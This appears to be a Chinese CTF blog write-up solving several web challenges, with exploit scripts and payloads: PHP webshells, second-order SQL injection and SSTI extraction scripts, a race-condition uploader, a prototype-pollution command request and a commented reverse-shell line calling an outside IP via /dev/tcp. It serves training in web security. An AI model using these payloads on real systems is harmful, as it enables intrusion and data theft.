21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
session_start();

if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}

if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}

?>

<form action="#" method="get">
page : <input type="text" name="page" value="">
id : <input type="text" name="id" value="">
<input type="submit" name="submit" value="submit">
</form>
<br />
<a href="index.phps">view-source</a>

<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;

if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>

<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}

if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>

审计代码

1
2
3
4
5
6
7
8
9
10
11
12
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}

if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}

?>

如果page不存在则显示网页源码,page存在且不等于index.php则包含flag.php,否则重定向到flag.php这个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}

if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>

这段回去session id进行确认id=1并且化为浮点数后到着截取最后一位是9

floatval会把数转换为浮点数,但是不会转换字母

image-20240310133010984

加上是!==r弱类型,1a9就能绕过,你的session就是admin的了

然后进行文件写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;

if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>

传入两个数据一个是文件名一个是文件内容,并且写进去,上传半天发现uploaded/backup没有我写的内容

后面发现是apache服务器

apache2.x的解析漏洞
1.php.xxx会被当作php来解析,那么我当时上传的时候,并没有能够成功,
我们换另一种上传方式
其中 .. 代表当前目录的父目录 , .代表当前目录,所以这里的c.php/b.php/..也就是访问b.php的父目录,也就是 c.php

上传

1
con=<?php eval($_POST['a']);?>&&file=2.php/.

unfinish

扫目录发现register.php存在注册页面,尝试注册发现存在二次注入

1
2
3
4
5
111@111.com

1'+'2

111

image-20240314161940337

image-20240314163758018

fuzz测试’没被过滤,空格

这里简单写一下二次注入的原理

与其他编程语言不同,MySQL中,+(加号)只有一个功能:运算符。

如果加号运算中有字符,那么mysql就会把字符转变为数字在相加,比如select ‘1’+‘1a’;结果为2,转换过程跟php类似。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mysql> select '1'+'1a';
+----------+
| '1'+'1a' |
+----------+
| 2 |
+----------+
1 row in set, 1 warning (0.00 sec)

mysql> select '0'+database();
+----------------+
| '0'+database() |
+----------------+
| 0 |
+----------------+
1 row in set (0.00 sec)

可以用截取的方法,截取处每一位,然后ascii编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mysql> select '0'+ascii(substr(database(),1,1));
+-----------------------------------+
| '0'+ascii(substr(database(),1,1)) |
+-----------------------------------+
| 100 |
+-----------------------------------+
1 row in set (0.00 sec)

mysql> select '0'+ascii(substr(database(),2,1));
+-----------------------------------+
| '0'+ascii(substr(database(),2,1)) |
+-----------------------------------+
| 118 |
+-----------------------------------+
1 row in set (0.00 sec)

成功截取,但是逗号被过滤,该咋办。使用from...for...代替。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mysql> select '0'+ascii(substr(database() from 1 for 1));
+--------------------------------------------+
| '0'+ascii(substr(database() from 1 for 1)) |
+--------------------------------------------+
| 100 |
+--------------------------------------------+
1 row in set (0.00 sec)

mysql> select '0'+ascii(substr((database()) from 2 for 1));
+----------------------------------------------+
| '0'+ascii(substr((database()) from 2 for 1)) |
+----------------------------------------------+
| 118 |
+----------------------------------------------+
1 row in set (0.00 sec)

还有可以使用十六进制转换后运算
有疑问,为啥不用二进制或者八进制。用例子来说明:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
mysql> select bin('dvwa');
+-------------+
| bin('dvwa') |
+-------------+
| 0 |
+-------------+
1 row in set (0.00 sec)

mysql> select oct('dvwa');
+-------------+
| oct('dvwa') |
+-------------+
| 0 |
+-------------+
1 row in set (0.00 sec)

mysql> select hex('dvwa');
+-------------+
| hex('dvwa') |
+-------------+
| 64767761 |
+-------------+
1 row in set (0.00 sec)

可以看到,只有十六进制成功转换。
但是又出来一个问题,如果十六进制转换后的字符串有字母的话,转化为数字就会相加就会丢失字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
mysql> select hex('dvwa{}');
+---------------+
| hex('dvwa{}') |
+---------------+
| 647677617B7D |
+---------------+
1 row in set (0.00 sec)

mysql> select hex('dvwa{}')+'0';
+-------------------+
| hex('dvwa{}')+'0' |
+-------------------+
| 647677617 |
+-------------------+
1 row in set (0.00 sec)
所以需要在进行一次十六进制。

mysql> select hex(hex('flag{}'));
+--------------------------+
| hex(hex('flag{}')) |
+--------------------------+
| 363636433631363737423744 |
+--------------------------+
1 row in set (0.00 sec)

mysql> select hex(hex('flag{}'))+'0';
+------------------------+
| hex(hex('flag{}'))+'0' |
+------------------------+
| 3.636364336313637e23 |
+------------------------+
1 row in set (0.00 sec)

又但是当这个长字符串转成数字型数据的时候会变成科学计数法,也就是说会丢失数据精度。

这里还可以使用分段读法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
mysql> select substr(hex(hex('dvwa{}')) from 1 for 10)+'0';
+----------------------------------------------+
| substr(hex(hex('dvwa{}')) from 1 for 10)+'0' |
+----------------------------------------------+
| 3634373637 |
+----------------------------------------------+
1 row in set (0.00 sec)

mysql> select substr(hex(hex('dvwa{}')) from 11 for 10)+'0';
+-----------------------------------------------+
| substr(hex(hex('dvwa{}')) from 11 for 10)+'0' |
+-----------------------------------------------+
| 3736313742 |
+-----------------------------------------------+
1 row in set (0.00 sec)

mysql> select substr(hex(hex('dvwa{}')) from 21 for 10)+'0';
+-----------------------------------------------+
| substr(hex(hex('dvwa{}')) from 21 for 10)+'0' |
+-----------------------------------------------+
| 3744 |
+-----------------------------------------------+
1 row in set (0.00 sec)

mysql> select unhex(unhex(363437363737363137423744));
+----------------------------------------+
| unhex(unhex(363437363737363137423744)) |
+----------------------------------------+
| dvwa{} |
+----------------------------------------+
1 row in set (0.11 sec)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import re

import requests
url="http://61.147.171.105:52027/"
registerurl=url+"register.php"
loginurl=url+"login.php"

for i in range(1, 100):
register_data = {
'email': '111@123.com%d'%i,
'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0"%i,
'password': 'admin'
}
request=requests.post(url=registerurl,data=register_data)

login_data = {
'email': '111@123.com%d' %i,
'password': 'admin'
}
res = requests.post(url=loginurl, data=login_data)
code = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res.text)
print(chr(int(code.group(1))), end='')

easy_web

开局是一个字符转换器

image-20240314165048769

python+Werkzeug猜测是ssti

image-20240314165125436

发现被过滤,测试一下

发现过滤了空格 ‘ “ ,{}

想着他能转换字体,去找一些特殊字符看看他会不会被解析为{}

http://www.fhdq.net/bd/44.html

image-20240314170256725

image-20240314170318030

对应一下

{ -> ︷

} -> ︸

‘ -> '

“ -> ”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
"""
{ -> ︷/﹛
} -> ︸/﹜
' -> '
" ->"
""" # 原字符串
str='{{"".__class__.__base__.__subclasses__()}}'

str = str.replace('{', '︷')
str = str.replace('}', '︸')
str = str.replace('\'', ''')
str=str.replace('\"',""")

print(str)

payload

1
2
{{"".__class__.__base__.__subclasses__()}}
︷︷"".__class__.__base__.__subclasses__()︸︸

跑一下os模块

1
2
3
4
5
6
7
8
9
import re

string =""
ClassList = re.split(",", string)
for i in range(0, len(ClassList)):
print(i, ClassList[i])
if 'os._wrap_close' in ClassList[i]:
print(i)
break

image-20240314172616741

os模块在127

最终payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
"""
{ -> ︷/﹛
} -> ︸/﹜
' -> '
" ->"
""" # 原字符串
# str='{{"".__class__.__base__.__subclasses__()[127].__init__.__globals__[\'popen\'](\'ls\').read()}}'
str='{{"".__class__.__base__.__subclasses__()[127].__init__.__globals__[\'popen\'](\'cat /flag\').read()}}'

str = str.replace('{', '︷')
str = str.replace('}', '︸')
str = str.replace('\'', ''')
str=str.replace('\"',""")

print(str)

题目名称-SSRF Me

image-20240315194207981

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$captcha=0;
while(1)
{
if(substr(md5($captcha), -6, 6) == "081e90")
{
echo $captcha;
break;
}
$captcha++;

}

flag被过滤url编码绕过file:///%66%6c%61%67

babyweb

image-20240315194525680

还是国赛题,提示内网访问,开局

image-20240315194554470

有点小懵,扫目录没收获,想到内网ssrf?

果真ssrf.php

???

真国赛题?

file:///flag直接了。。。

wzsc_文件上传

上传了一个php文件直接跳转了upload.php,尝试访问1.php,发现notfound

上传了一个图片,发现能访问,

image-20240315195234876

早该想到是竞争上传的burp

一个访问一个上传

1
<?php fputs(fopen("1.php", "w"), '<?php @eval($_POST["a"]); ?>'); ?>

也有脚本,burp上传,脚本检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

import requests
import threading
import os

class RaceCondition(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)

self.url = 'http://61.147.171.105:55458/upload/a.php'
self.uploadUrl = 'http://61.147.171.105:55458/upload/shell.php'

def _get(self):
print('try to call uploaded file...')
r = requests.get(self.url)
if r.status_code == 200:
print('[*] create file shell.php success.')
os._exit(0)

def _upload(self):
print('upload file...')
rs = requests.get(self.uploadUrl)
if rs.status_code == 200:
print('[*] create file shell.php success.')
os._exit(0)

def run(self):
while True:
for i in range(5):
self._get()

for i in range(10):
self._upload()
self._get()

if __name__ == '__main__':
threads = 50

for i in range(threads):
t = RaceCondition()
t.start()

for i in range(threads):
t.join()

题目名称-warmup

给了源码审计审计

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
include 'conn.php';
include 'flag.php';


if (isset ($_COOKIE['last_login_info'])) {
$last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info']));
try {
if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
die('WAF info: your ip status has been changed, you are dangrous.');
}
} catch(Exception $e) {
die('Error');
}
} else {
$cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
setcookie ('last_login_info', $cookie, time () + (86400 * 30));
}


if(isset($_POST['username']) && isset($_POST['password'])){
$table = 'users';
$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
$sql = new SQL();
$sql->connect();
$sql->table = $table;
$sql->username = $username;
$sql->password = $password;
$sql->check_login();
}


?>

看到会对ip进行检测,cookie里存有跟ip有关的信息

conn.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php
include 'flag.php';

class SQL {
public $table = '';
public $username = '';
public $password = '';
public $conn;
public function __construct() {
}

public function connect() {
$this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
}

public function check_login(){
$result = $this->query();
if ($result === false) {
die("database error, please check your input");
}
$row = $result->fetch_assoc();
if($row === NULL){
die("username or password incorrect!");
}else if($row['username'] === 'admin'){
$flag = file_get_contents('flag.php');
echo "welcome, admin! this is your flag -> ".$flag;
}else{
echo "welcome! but you are not admin";
}
$result->free();
}

public function query() {
$this->waf();
return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
}

public function waf(){
$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
foreach ($blacklist as $value) {
if(strripos($this->table, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->username, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->password, $value)){
die('bad hacker,go out!');
}
}
}

public function __wakeup(){
if (!isset ($this->conn)) {
$this->connect ();
}
if($this->table){
$this->waf();
}
$this->check_login();
$this->conn->close();
}

}
?>

一堆黑名单,

ip.php

1
2
<?php
echo $_SERVER['REMOTE_ADDR'];

先看看cookie里的内容

image-20240315211623162

json反序列化

table数据没有被过滤,我们在table上做功夫

1
select 'admin' username,'123456' password

select 值1 字段1,值2,字段2

可以生成表

字段1 字段2
值1 值2
1
2
3
4
public function query() {
$this->waf();
return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
}

查询的时候会对table数据进行处理,想当于查询我们自己生成个表

字段一是admin字段二是密码123456加个a是表名

秒啊实在是秒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
class SQL {
public $table = "(select 'admin' username,'123456' password)a";
public $username = "admin";
public $password = "123456";
public $conn;
public function __construct() {
}

public function connect() {
$this->conn = new mysqli("localhost", "admin", "123456", "");
}

public function check_login(){
$result = $this->query();
if ($result === false) {
die("database error, please check your input");
}
$row = $result->fetch_assoc();
if($row === NULL){
die("username or password incorrect!");
}else if($row['username'] === 'admin'){
$flag = file_get_contents('flag.php');
echo "welcome, admin! this is your flag -> ".$flag;
}else{
echo "welcome! but you are not admin";
}
$result->free();
}

public function query() {
$this->waf();
return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
}

public function waf(){
$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
foreach ($blacklist as $value) {
if(strripos($this->table, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->username, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->password, $value)){
die('bad hacker,go out!');
}
}
}

public function __wakeup(){
if (!isset ($this->conn)) {
$this->connect ();
}
if($this->table){
$this->waf();
}
$this->check_login();
$this->conn->close();
}

}

$a=new SQL();
echo serialize($a);
echo base64_encode(serialize($a));


BadProgrammer

image-20240318191507537

发现是nginx+express

image-20240318191615637

发现源码放在static文件夹下

扫目录可以发现

image-20240318191700207

image-20240318191718438

访问static../可以看到文件列表

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();

app.use(fileUpload({ parseNested: true }));

app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => {
res.render('flag.ejs');
});

app.get('/', (req, res) => {
res.render('index.ejs');
})

app.listen(3000);
app.on('listening', function() {
console.log('Express server started on port %s at %s', server.address().port, server.address().address);
});


查看package.json文件,发现引用express-fileupload版本为1.1.7-alpha.4,此版本存在CVE-2020-7699,原型链污染漏洞。(这。。。。反正我是想不到)

image-20240318192005510

看到4_pATh_y0u_CaNN07_Gu3ss会渲染flag.ejs在view文件夹下发现flag.ejs

1
2
3
4
5
6
7
8
<html>
<head>
<title>flag?</title>
</head>
<body>
No No No, flag is in `flag.txt`.
</body>
</html>

访问4_pATh_y0u_CaNN07_Gu3ss路由竟然

image-20240318192518236

不应该啊,我试试POST

image-20240318192602661

奥post可以

前面看到漏洞点跟express-fileupload,文件上传https://www.freebuf.com/vuls/246029.html

自己构建一下文件上传包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /4_pATh_y0u_CaNN07_Gu3ss HTTP/1.1
Host: 61.147.171.105:50068
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 286
Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333

-----------------------------1546646991721295948201928333
Content-Disposition: form-data; name="__proto__.outputFunctionName"

x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/flag1111.txt');x

-----------------------------1546646991721295948201928333--

也可以脚本

1
2
3
4
5
6
7
import requests
url="http://61.147.171.105:50068/4_pATh_y0u_CaNN07_Gu3ss"
data={'__proto__.outputFunctionName': ( None, "x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x".format(cmd='cp /flag.txt /app/static/flag.txt'))}
想用一下文章里的f反弹shell,可惜失败了# data={'__proto__.outputFunctionName': ( None, "x;process.mainModule.require('child_process').exec('{cmd}');x".format(cmd='bash -c "bash -i &> /dev/tcp/101.34.80.152/9999 0>&1"'))}

req=requests.post(url=url,files=data)
print(req)

image-20240318195931268

俩个都行

i-got-id-200

好好啊好新知识点,好好学,爱死了

知识点:perl文件上传+ARGV造成的任意文件读取和命令执行

开题三个链接都可以点开,第三个可以文件上传

image-20240318203930003

三个网站都是以pl结尾的

啥个文件我都不知道

后面了解到是perl文件,用perl语言写网页

文件上传不管上传啥,他会把文件内容输出出来image-20240318204949060

奈何我是笨脑袋上来就上传一句话木马

不会做了,去看了wp

什么大佬猜测代码

1
2
3
4
5
6
7
8
use strict;
use warnings;
use CGI;
my $cgi= CGI->new;
if ( $cgi->upload( 'file' ) ) {
my $file= $cgi->param( 'file' );
while ( <$file> ) { print "$_"; }
}

param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的接收变量中。如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改,可以达到读取任意文件的目的。

上传文件时抓包,数据包需要添加

记得把—————————–1569827749218换成自己的

1
2
3
4
5
-----------------------------1569827749218
Content-Disposition: form-data; name="file";
Content-Type: image/jpeg

ARGV

image-20240318212737474

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /cgi-bin/file.pl?/bin/bash%20-c%20cat${IFS}/flag| HTTP/1.1
Host: 61.147.171.105:64755
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------16463330982239580313450100907
Content-Length: 496
Origin: http://61.147.171.105:64755
Connection: close
Referer: http://61.147.171.105:64755/cgi-bin/file.pl
Cookie: last_login_info=TzozOiJTUUwiOjQ6e3M6NToidGFibGUiO3M6NDM6IihzZWxlY3QgJ2FkbWluJyB1c2VybmFtZSwnMTIzNDU2JyBwYXNzd29yZCkiO3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6NjoiMTIzNDU2IjtzOjQ6ImNvbm4iO047fQ==
Upgrade-Insecure-Requests: 1

-----------------------------16463330982239580313450100907
Content-Disposition: form-data; name="file";
Content-Type: application/actet-stream

ARGV
-----------------------------16463330982239580313450100907
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg

aaaaa

-----------------------------16463330982239580313450100907
Content-Disposition: form-data; name="Submit!"

Submit!
-----------------------------16463330982239580313450100907--

image-20240318212853189

wtf.sh-150

开题

image-20240322165620638

看到有登录和注册,先试试登录,尝试admin+弱密码,发现无果

注册了一个登录

image-20240322165741497

看这样子好像一个论坛,好多人在上面发文章,点开文章看看

image-20240322165834719

看了几篇文章,发现也就变换了一下POST后的数据,尝试目录穿越看看,发现

image-20240322165924016

存在目录穿越,搜索一下flag

发现源码

1
source user_functions.sh <html> <head> <link rel="stylesheet" type="text/css" href="/css/std.css" > </head> $ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}" $ then $ local username=$(head -n 1 users/${URL_PARAMS['user']}); $ echo "<h3>${username}'s posts:</h3>"; $ echo "<ol>"; $ get_users_posts "${username}" | while read -r post; do $ post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}"); $ echo "<li><a href=\"/post.wtf?post=${post_slug}\">$(nth_line 2 "${post}" | htmlentities)</a></li>"; $ done $ echo "</ol>"; $ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]] $ then $ get_flag1 $ fi $ fi </html>

显示cookie和username=admin就好得到``flag1`

image-20240322170141311

cookie里有个token先看看,以为是base64解密发现不是image-20240322170326015

继续浏览文件,发现一些可疑的文件image-20240322170803222

经过访问尝试发现../users存在类似于cookie的内容,那我去找找admin的喽

image-20240322171016125

1
Posted by [admin](http://61.147.171.105:57484/profile.wtf?user=jlvfK) ae475a820a6b5ade1d2e8b427b59d53d15f1f715 uYpiNNf/X0/0xNfqmsuoKFEtRlQDwNbS2T6LdHDRWH5p3x4bL4sxN0RMg17KJhAmTMyr8Sem++fldP0scW7g3w==

直接该cookie好像不行

这里需要先看看admin账户的类似于id吧

image-20240322171418552

就是user=jlvfK

具体流程image-20240322171452723

点进去,再点adminimage-20240322171511839

对应的即是admin的页面,cookie改了,username改了image-20240322171728434

得到flag1

接下来我就不咋会了,借鉴了大佬的wp完成的

因为 wtf 不是常规的网页文件,故寻找解析 wtf 文件的代码:

image-20240322172105432

访问wtf.sh得到linux脚本代码。

image-20240322172144387

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function include_page {
# include_page pathname
local pathname=$1
local cmd=
[[ ${pathname(-4)} = '.wtf' ]];
local can_execute=$;
page_include_depth=$(($page_include_depth+1))
if [[ $page_include_depth -lt $max_page_include_depth ]]
then
local line;
while read -r line; do
# check if we're in a script line or not ($ at the beginning implies script line)
# also, our extension needs to be .wtf
[[ $ = ${line01} && ${can_execute} = 0 ]];
is_script=$;
# execute the line.
if [[ $is_script = 0 ]]
then
cmd+=$'n'${line#$};
else
if [[ -n $cmd ]]
then
eval $cmd log Error during execution of ${cmd};
cmd=
fi
echo $line
fi
done ${pathname}
else
echo pMax include depth exceeded!p
fi
}

进行审计后可发现,上传wtf文件并执行,就可以控制服务器。

继续进行审计,发现reply函数也存在路径穿越漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function reply {
local post_id=$1;
local username=$2;
local text=$3;
local hashed=$(hash_username "${username}");
curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}");
next_file=(posts/${post_id}/${next_reply_id});
echo "${username}" > "${next_file}";
echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";
echo "${text}" >> "${next_file}";
# add post this is in reply to to posts cache
echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts";
}

这是评论功能的后台代码,下面这行代码把用户名写在了评论文件的内容中

1
echo "${username}" > "${next_file}";

如果用户名是一段可执行代码,而且写入的文件后缀是wtf,那么这个文件就能够执行我们想要的代码。 (wtf.sh只运行文件扩展名为.wtf的脚本和前缀为’$’的行)

先普通地评论一下,知晓评论发送的数据包的结构image-20240322172929991

在普通评论的基础上,进行路径穿越,上传后门11.wtf!

image-20240322173410549%09是水平制表符,必须添加,不然后台会把我们的后门当做目录去解析。

访问后门,发现成功写入用户名

image-20240322173447470

为了写入恶意代码,我们得让用户名里携带代码,故

首先注册这样一个用户

1
${find,/,-iname,get_flag2}

这里前面加个$是wtf文件执行命令的写法

寻找 所有目录下 不分大小写,名为 get_flag2 的文件

image-20240322173525278

登录,写入后门

image-20240322173725923

image-20240322173749165

发现flag2在/usr/bin/get_flag2

继续注册新用户

1
$/usr/bin/get_flag2 

image-20240322174103659

image-20240322175444003

得到flag2

image-20240322175512652

拼起来xctf{cb49256d1ab48803149e5ec49d3c29ca}

Web_php_wrong_nginx_config

扫目录发现admin/admin.php和robots.txt

访问

image-20240409183912438

hint.php

配置文件也许有问题呀:/etc/nginx/sites-enabled/site.conf

Hack.php需要登录才能看

admin/admin.php需要登录在cookie里有一个isLogin改为1就可以了

进来之后发现url好似存在文件读取尝试

1
url/admin/admin.php?file=index&ext=php#

尝试了点了点,发现只有管理中心可以进入

进去好像也米啥用

回到上一步

image-20240409184530357

是这个样子,但过程中发现云工控控制中心会提示please continue,对应url是admin/index.php,登录成功后的页面也存在,加上首页的url,怀疑存在文件包含尝试一下

/admin/admin.php?file=../../../../etc/passwd&ext=php#发现少了please continue,但是没有返回想要的内容

/admin/admin.php?file=../index&ext=php#存在please continue

/admin/admin.php?file=./index&ext=php#仍然存在

/admin/admin.php?file=in../dex&ext=php#仍然存在

/admin/admin.php?file=in./dex&ext=php#消失

所以应该是过滤了../但没过滤./

拼接一下试试

image-20240409185523821

发现读取成功

根局前面的提示

配置文件也许有问题呀:/etc/nginx/sites-enabled/site.conf

读取一下看看

image-20240409185909974

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
                    server {
listen 8080; ## listen for ipv4; this line is default and implied
listen [::]:8080; ## listen for ipv6

root /var/www/html;
index index.php index.html index.htm;
port_in_redirect off;
server_name _;

# Make site accessible from http://localhost/
#server_name localhost;

# If block for setting the time for the logfile
if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
set $year $1;
set $month $2;
set $day $3;
}
# Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
sendfile off;

set $http_x_forwarded_for_filt $http_x_forwarded_for;
if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
set $http_x_forwarded_for_filt $1???;
}

# Add stdout logging

access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
error_log /var/log/nginx/error.log info;

location / {
# First attempt to serve request as file, then
# as directory, then fall back to index.html
try_files $uri $uri/ /index.php?q=$uri&$args;
server_tokens off;
}

#error_page 404 /404.html;

# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
location ~ \.php$ {
try_files $uri $uri/ /index.php?q=$uri&$args;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param SCRIPT_NAME $fastcgi_script_name;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
}

location ~ /\. {
log_not_found off;
deny all;
}
location /web-img {
alias /images/;
autoindex on;
}
location ~* \.(ini|docx|pcapng|doc)$ {
deny all;
}

include /var/www/nginx[.]conf;

看着

1
2
3
4
location /web-img {
alias /images/;
autoindex on;
}

autoindex on发现开启了目录浏览好啊

alias的意思是别名,让用户可以输入web-img,实际上访问images目录

我们访问/web-img../就可以访问到网站的根目录。

image-20240409190936667

下载hack.php.bak

得到一段混淆脚本

输出$f看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
